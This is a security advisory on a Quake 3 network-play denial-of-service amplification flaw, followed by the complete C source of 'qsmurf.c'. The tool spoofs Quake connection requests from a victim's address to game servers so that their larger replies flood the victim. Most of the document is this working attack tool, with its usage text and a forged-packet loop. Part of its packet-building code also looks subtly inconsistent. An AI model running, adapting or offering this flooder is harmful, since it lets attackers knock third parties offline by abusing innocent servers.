source: http://www.securityfocus.com/bid/3060/info


Quake 3 network play features contain a remotely exploitable denial of service vulnerability.

A hostile client program can be used by to generate a large number of forged client queries on behalf of a target user. The server's responses flood the target user, consuming the target system's network bandwidth and CPU cycles.

It has been reported that other games suffer from similar issues. Additional amplification attacks may be possible through the usage of commands which return detailed information about the game status or server information. In some cases, packets larger than 500 bytes may be sent in response to a 50 byte spoofed UDP packet. 

/*
  qsmurf.c
  Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
  Look at his original post for the original credits.
  The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.

  This works based on the fact that when a Quake client connects to a Quake server, much more data
  is received by the client than is sent.  This program will spoof connections from a target (source
  IP Address) to NetQuake servers, which will reply to the target with lots of data with an
  amplification rate approaching 20:1.

  Greets to:
  Sean Stanek (vulture@EFnet) for doing most of the code optimization.
  SFS, WHHS, Marlboro, the Shao Lin
  Lithium Node and channel regulars, TPC, X-Tommy, the defunct #BrainFreze Jeff, NEO, Kwizatz@RURC
  Sang, zuez, dead-sexy.com and crew, #phear on EFnet, AY, Eric R. for providing me with DNS

  And a big middle finger to:
  BTA (for being quite possibly the worse Quake 3 clan in history)
  anyone who packets EFnet servers
  and finally, to whoever framed OJ
*/

#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <sys/types.h>

struct sockaddr sa;
struct node
{
  char *address;
  struct node *next;
  unsigned int ip;
};

struct node *head = NULL;
struct node *tail;

void add_address( struct node **, char * );
void sig_handler( int );

int main( int argc, char **argv )
{
  int x = 1;
  int source_port, delay, fd;
  unsigned int ip;
  struct sockaddr_in *p;
  struct hostent *he;
  struct node *current;
  char *temp;

  u_char thePACKET[41]=
  {
    0x45,                       /* IP version, header len */
    0x00,                       /* IP diff services field */
    0x00, 0x29,                 /* IP total length */
    0xc2, 0xb5,                 /* IP id */
    0x00, 0x00,                 /* IP fragment offset */
    0x80,                       /* IP TTL */
    0x11,                       /* IP protocol */
    0, 0,                       /* IP header checksum */
    0, 0, 0, 0,                 /* IP src */
    0, 0, 0, 0,                 /* IP dest */
    0x00, 0x00,                 /* UDP src port */
    0, 0,                       /* UDP dest port */
    0x00, 0x15,                 /* length = 21 */
    0x00, 0x00,                 /* UDP checksum */
    0x80, 0x00,                 /* Quake flags */
    0x00, 0x0d,                 /* Quake length */
    0x01,                       /* Quake command = connect */
    0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
    0x45, 0x00,
    0x03, 0x01                  /* Quake version = 3 */
  };

  if( argc != 5 )
  {
    fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
    fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
    fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
    fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
    fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
    fprintf( stderr, "\t\tserver_port = Quake server port\n" );
    fprintf( stderr, "\t\tdelay = delay between connection requests (in usec, 0 for no delay)\n" );
    fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
    exit( 0 );
  }

  srand( time( NULL ));
  delay = atoi( argv[4] );

  /* build a linked list of addresses entered on command line */
  temp = strtok( argv[1], "," );
  add_address( &head, temp );

  signal( SIGINT, sig_handler );

  tail = head;

  temp = strtok( NULL, "," );
  while( temp != NULL )
  {
    add_address( &(tail->next), temp );
    tail = tail->next;
    temp = strtok( NULL, "," );
  }

  current = head;

  if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
  {
    perror( "Can't create raw socket (you must run as root)" );
    exit( 0 );
  }

  if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
  {
    perror( "setsockopt IP_HDRINCL error" );
    exit( 0 );
  }

  if( ( he = gethostbyname( argv[2]) ) == NULL )
  {
    fprintf( stderr, "Can't resolve src\n" );
    exit( 0 );
  }

  bcopy( *( he->h_addr_list ), &ip, 4 );


  while( 1 )
  {
    while( current != NULL )
    {
      bcopy( &ip, ( thePACKET + 16 ), 4 );
      bcopy( &(current->ip), ( thePACKET + 16 ), 4 );

      source_port = rand() % 3976 + 1024;

      *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
      *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));

      p = ( struct sockaddr_in* ) &sa;
      p->sin_family = AF_INET;
      bcopy( &current->ip, &(p->sin_addr), 4 );

      if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
      {
        perror( "sendto error" );
        exit( 0 );
      }

      printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address,
argv[3] );

      if( delay > 0 ) usleep( delay );
      current = current->next;
    }
    current = head;
  }
  exit( 1 );
}

void add_address( struct node** reference, char *data )
{
  struct hostent * he;
  struct node* new_node = malloc( sizeof( struct node ));

  new_node->address = data;
  new_node->next = *reference;

  if( ( he = gethostbyname( new_node->address )) == NULL )
  {
    fprintf( stderr, "Can't resolve server\n");
    exit( 0 );
  }
  bcopy( *( he->h_addr_list ), &(new_node->ip), 4 );

  *reference = new_node;
}

void sig_handler( int number )
{
  struct node *current = head;
  struct node *next;

  printf( "\nCaught SIGINT.  Cleaning up memory..." );
  while( current != NULL )
  {
    next = current->next;
    free( current );
    current = next;
  }
  printf( "done.\n\n" );
  exit( 1 );
}











